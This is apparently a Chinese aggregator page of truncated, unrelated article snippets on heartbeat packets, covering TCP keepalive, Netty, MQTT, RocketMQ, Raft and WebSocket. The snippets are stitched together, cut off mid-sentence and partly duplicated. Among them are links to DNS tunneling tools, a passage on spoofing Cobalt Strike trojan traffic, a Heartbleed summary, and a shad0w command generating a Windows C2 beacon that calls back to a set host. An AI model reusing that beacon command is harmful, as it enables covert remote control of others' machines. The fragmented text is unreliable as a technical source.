该程序需要的基础知识: https://www.cnblogs.com/yangfengwu/category/1566194.html 所有源码开源,请自行学习
持续更新,C语言编写,官方:http://code.kryo.se/iodine/
github:https://github.com/iagox86/dnscat2
github:https://github.com/alex-sector/dns2tcp
里面介绍了个心跳服务的宕机判断算法,当时只是理论分析了下使用 LRU 算法来实现,没有手撕代码。
不知道你有没有遇到过马上线却不能操作的情况,我猜当你网络卡或马写得不好时会出现这个问题,但是人为的你可能没遇到过,首先要欺骗你的远控,得分析你的协议,如果你的马根本不是公开的。网络又是好的,你刚往人家机器里种马,发现马只能上线不能操作,绝对是马有问题,不能甩锅我。人家都不知道你的马的通信原理,流量特征,不可能事先准备好一个程序,让你一发就欺骗你的马。 本文主要研究CS这个APT很喜欢用的马,当然TCP的也一样原理,只要构造对应的数据包就可欺骗
情形一:一个客户端连接服务器以后,如果长期没有和服务器有数据来往,可能会被防火墙程序关闭连接,有时候我们并不想要被关闭连接。例如,对于一个即时通讯软件,如果服务器没有消息时,我们确实不会和服务器有任何数据交换,但是如果连接被关闭了,有新消息来时,我们再也没法收到了,这就违背了“即时通讯”的设计要求。
一、etcd是什么 etcd是一个分布式的、高可用的、一致的key-value存储数据库,基于Go语言实现,主要用于共享配置和服务发现。
主要对比默认配置的profile和配置修改后的profile[1],本文修改后的profile采用如下配置。
心跳包就是在客户端和服务器间定时通知对方自己状态的一个自己定义的命令字,按照一定的时间间隔发送,类似于心跳,所以叫做心跳包。心跳包在GPRS通信和CDMA通信的应用方面使用非常广泛。数据网关会定时清理没有数据的路由,心跳包通常设定在30-40秒之间。所谓的心跳包就是客户端定时发送简单的信息给服务器端告诉它我还在而已。代码就是每隔几分钟发送一个固定信息给服务端,服务端收到后回复一个固定信息如果服务端几分钟内没有收到客户端信息则视客户端断开。本次设计中,心跳包时间间隔为1秒。
问大家一个问题,如果客户端和服务端长时间没有相互发送数据的话,那么我们怎么来判断这个连接是否存在的呢?有些人可能很自然地说直接send一下不就可以了,确实可以这样进行判断,那么我们发送的时候可以选择发送任何东西,所以一般都是发送一个空包,这个就是心跳包。
早期的rocketmq版本的路由功能是使用zookeeper实现的,后来rocketmq为了追求性能,自己实现了一个性能更高效且实现简单的路由中心NameServer,而且可以通过部署多个路由节点实现高可用,但它们之间并不能互相通信,这也就会导致在某一个时刻各个路由节点间的数据并不完全相同,但数据某个时刻不一致并不会导致消息发送不了,这也是rocketmq追求简单高效的一个做法。
所以大家可以设置遗嘱 ,注意哈,发布的主题自己随意哈,假设是aaaaa 假设设置的遗嘱是 {data:state,state:offline} 注意遗嘱的retain 必须设置为1 ,即让服务器保留这个消息
https://www.cnblogs.com/yangfengwu/p/11482905.html
WebSocket 是一种网络通信协议,它使得客户端和服务器之间的数据交换变得更加简单。最近在项目中使用 WebSocket 实现了一个简单在线聊天室功能,在此探究下心跳重连的机制。
https://www.cnblogs.com/yangfengwu/p/12539421.html
0×00 前言 笔者发现不少甲方公司的办公网络依靠五花八门的局域网聊天软件进行办公通信,而这些软件中同样存在各种安全风险。本文就带大家利用协议分析技术来还原一款局域网聊天软件的通信协议,并对其进行简易
参考https://cloud.tencent.com/developer/news/48344
这些年,接触了形形色色的项目,写了不少网络编程的代码,从windows到linux,跌进了不少坑,由于网络编程涉及很多细节和技巧,一直想写篇文章来总结下这方面的心得与经验,希望对来者有一点帮助,那就善莫大焉了。 本文涉及的平台包括windows和linux,下面开始啦。 一、非阻塞的的connect()函数如何编写 我们知道用connect()函数默认是阻塞的,直到三次握手建立之后,或者实在连不上超时返回,期间程序执行流一直阻塞在那里。那么如何利用connect()函数编写非阻塞的连接代码呢? 无论在win
这些年,接触了形形色色的项目,写了不少网络编程的代码,从windows到linux,跌进了不少坑,由于网络编程涉及很多细节和技巧,一直想写篇文章来总结下这方面的心得与经验,希望对来者有一点帮助,那就善莫大焉了。 本文涉及的平台包括windows和linux,下面开始啦。 一、非阻塞的connect()函数如何编写 我们知道用connect()函数默认是阻塞的,直到三次握手建立之后,或者实在连不上超时返回,期间程序执行流一直阻塞在那里。那么如何利用connect()函数编写非阻塞的连接代码呢? 无论在wind
C语言学习视频 C语言学习资源200G C语言基础 C语言学习路线 C语言入门笔记 初识C语言 简单的C程序示例 我们编写的C代码是怎样跑起来的? 简单示例,VS2019调试C语言程序 C语言基础-数据类型 深入理解变量,变量的声明,定义,解析static的作用 C 语言未初始化的局部变量是多少? C语言中算法的基本特性和表达方式 C语言中的输入输出函数 C语言基础:循环控制语句 C语言基础:条件控制语句 C语言基础:控制语句示例 为什么程序员都不喜欢使用 switch ,而是大量的 if……else if
开发成长之路(1)-- C语言从入门到开发(入门篇一) 开发成长之路(2)-- C语言从入门到开发(函数与定制输入输出控制函数) 开发成长之路(3)-- C语言从入门到开发(讲明白指针和引用,链表很难吗?) 开发成长之路(4)-- C语言从入门到开发(距离开发,还差这一篇) 开发成长之路(5)-- C语言从入门到开发(仿ATM机项目,我写的第一个项目) 开发成长之路(6)-- C++从入门到开发(C++入门不难) 开发成长之路(6)-- C++从入门到开发(C++知名库:STL入门·容器(一)) 开发成长之路(7)-- C++从入门到开发(C++知名库:STL入门·容器(二)) 开发成长之路(8)-- C++从入门到开发(C++知名库:STL入门·容器(三)) 开发成长之路(9)-- C++从入门到开发(C++知名库:STL入门·空间配置器) 开发成长之路(10)-- C++从入门到开发(C++知名库:STL入门·算法) 开发成长之路(11)-- STL常用函数大集合 开发成长之路(12)-- Linux网络服务端编程(通识篇之熟悉操作环境) 开发成长之路(13)-- Linux网络服务端编程(通识篇)
OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合,攻击者可以利用这一点,构造异常的数据包,来获取心跳数据所在的内存区域的后续数据。这些数据中可能包含了证书私钥,用户名,用户密码,用户邮箱等敏感信息。该漏洞允许攻击者从内存中读取多达64KB的数据。
顾名思义就是心脏的跳动,可以用来判断一个事物的生和死,Swoole 中的心跳是指用来判断一个连接是正常还是断开的
服务端收到之后之后,更新对应连接的最后心跳时间,同时每个连接中还有checkConnect的检测超时线程,如果当前时间-最后心跳时间>心跳间隔,则感知到客户端断开连接了,服务端的代码如下
本文是Netty文集中“Netty 那些事儿”系列的文章。主要结合在开发实战中,我们遇到的一些“奇奇怪怪”的问题,以及如何正确且更好的使用Netty框架,并会对Netty中涉及的重要设计理念进行介绍。 什么是心跳机制? 心跳说的是在客户端和服务端在互相建立ESTABLISH状态的时候,如何通过发送一个最简单的包来保持连接的存活,还有监控另一边服务的可用性等。 心跳包的作用 保活 Q:为什么说心跳机制能保持连接的存活,它是集群中或长连接中最为有效避免网络中断的一个重要的保障措施? A:之所以说是“避
P2P多见于局域网内聊天工具,典型的应用有:飞鸽传书、天网Maze(你懂的)等。这类软件在启动后一般做两件事情:
在Dubbo的'人生'中, 无论它是在自己的'亲爸爸'阿里家族成长, 还是'寄养'在Apache家族里, Dubbo的底层通信一直使用高性能的Netty框架.
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消息中间件的设计思路一般是基于主题订阅发布的机制,消息生产者(Producer)发送某一个主题到消息服务器,消息服务器负责将消息持久化存储,消息消费者(Consumer)订阅该兴趣的主题,消息服务器根据订阅信息(路由信息)将消息推送到消费者(Push模式)或者消费者主动向消息服务器拉去(Pull模式),从而实现消息生产者与消息消费者解耦。为了避免消息服务器的单点故障导致的整个系统瘫痪,通常会部署多台消息服务器共同承担消息的存储。那消息生产者如何知道消息要发送到哪台消息服务器呢?如果某一台消息服务器宕机了,那么消息生产者如何在不重启服务情况下感知呢?
Raft协议是分布式领域解决一致性的又一著名协议,主要包含Leader选举、日志复制两个部分。
DPI是直接编程接口的缩写,它是SystemVerilog和C/C++等外语编程语言之间的接口。DPI允许在接口两边的语言之间直接进行跨语言函数调用。在C语言中实现的函数可以在SystemVerilog中调用(import),在SystemVerilog中实现的函数可以使用DPI层在C语言中调用(export)。DPI支持跨语言边界的function(零时间执行)和task(耗时执行)。SystemVerilog数据类型是惟一能够在任何方向上跨越SystemVerilog和外部语言之间的边界的数据类型。
Chrome DevTools可以直接查看binary类型数据包 连接 通过Chrome DevTools可以看到,网页版B站直播的弹幕通过 wss://tx-sh3-live-comet-04.ch
在长连接下,可能很长一段时间都没有数据往来。理论上说,这个连接是一直保持连接的,但是实际情况中,如果中间节点出现什么故障是难以知道的。这个时候,就可以使用心跳包,来维持长连接以及保活
python3 shad0w.py beacon -p x64/windows/secure -H 192.168.1.81 -f exe -o beacon.exe
支持RTSP、GB28181、SDK、Ehome协议的视频平台EasyCVR支持将所有视频通道通过GB28181协议级联到上级国标平台上,且支持同一通道级联到多个上级平台,这一操作给很多用户的级联带来了便捷。
一直都有在看一些开源项目的代码,但是还没有试过提交pr。因为最近在研究websocket和keep-alive。而websocket涉及到长连接,过多无用的长连接对系统来说是负担,是否可以尽快发现对端是否已经掉线,从而释放这个连接来减少系统压力呢,就这个初衷,想通过wireshark和nodejs调试一下心跳机制,但是发现nodejs对这个的支持不是很好。tcp的心跳机制,支持三个配置,但是nodejs的setKeepAlive只支持一个配置(后面发现最新版代码里有一点支持的痕迹了,但是没有给用户提供接口),所以就产生了提交pr的想法。代码改动不大,但是整个流程走下来,也挺费时间的。 本文大致分享一下这个过程。我的诉求是想让nodejs把修改心跳机制和相关配置的接口暴露给用户。但是libuv层的接口本身就不支持这个能力。所以要解决这个问题,要修改c、c++、js的代码。因为nodejs的架构就是这样,libuv提供能力,c++套壳,js调用。所以你想加一个libuv不支持的功能时,你就得从libuv改起。
1. TCP/IP协议栈层次结构 2. TCP三次握手需要知道的细节点 3. TCP四次挥手需要知道的细节点(CLOSE_WAIT、TIME_WAIT、MSL) 4. TCP与UDP的区别与适用场景 5. linux常见网络模型详解(select、poll与epoll) 6. epoll_event结构中的epoll_data_t的fd与ptr的使用场景 7. Windows常见的网络模型详解(select、WSAEventSelect、WSAAsyncSelect) 8. Windows上的完成端口模型(
本文将按照 《RocketMQ 多副本前置篇:初探raft协议》 的思路来学习RocketMQ选主逻辑。首先先回顾一下关于Leader 的一些思考:
在网络开发使用TCP协议实现客户端和服务端通信时,某些场合需要保持长连接,但这并不容易。在默认情况下,超过一定时间没有数据收发操作时,连接会自动断开,从而导致数据丢失。例如下面的提示信息,
本文将介绍6.824 Lab2(测试用例2021/2020版 2A + 2B + 2C部分)的具体实现,视频版的讲解将发在B站:s09g谷歌摸鱼 。代码通过5000次测试,大致上应该没有问题。2021版的测试还有一个2D的部分,并没有包含在本文中。2D部分是关于Raft Snapshot,过早的实现2D可能会掩盖一些隐藏的bug。比如2C的一些test其实会产生超长的歧义链,这个时候就需要实现fast rollback优化,但是如果过早实现了snapshot就可以通过发送snapshot的方式直接修正歧义链。
明:Broker上的FilterServer列表,消息过滤服务器列表,后续介绍Consumer时会介绍,consumer拉取数据是通过filterServer拉取,consumer向Broker注册。
通信双方进行TCP链接后进行通信,结束后不主动关闭链接 优点:通信速度快,免去了DNS解析时间,以及三次握手四次分手的时间,避免短时间内重复连接所造成的信道资源 & 网络资源的浪费
http://blog.csdn.net/lisonglisonglisong/article/details/51327695#comments
正常的情况客户端断开连接会向服务端发送一个fin包,服务端收到fin包后得知客户端连接断开,则立刻触发onClose事件回调。
文中引用了参考资料中的部分内容,本文参考资料详见文末“参考资料”一节,感谢资料分享者。
这几天一直在研究Delphi 2010的DataSnap,感觉功能真是很强大,现在足有理由证明Delphi7该下岗了。
近日闹的沸沸扬扬的Heartbleed漏洞,仿佛一下子再次将人们拉回了对网络安全的关注和担忧。
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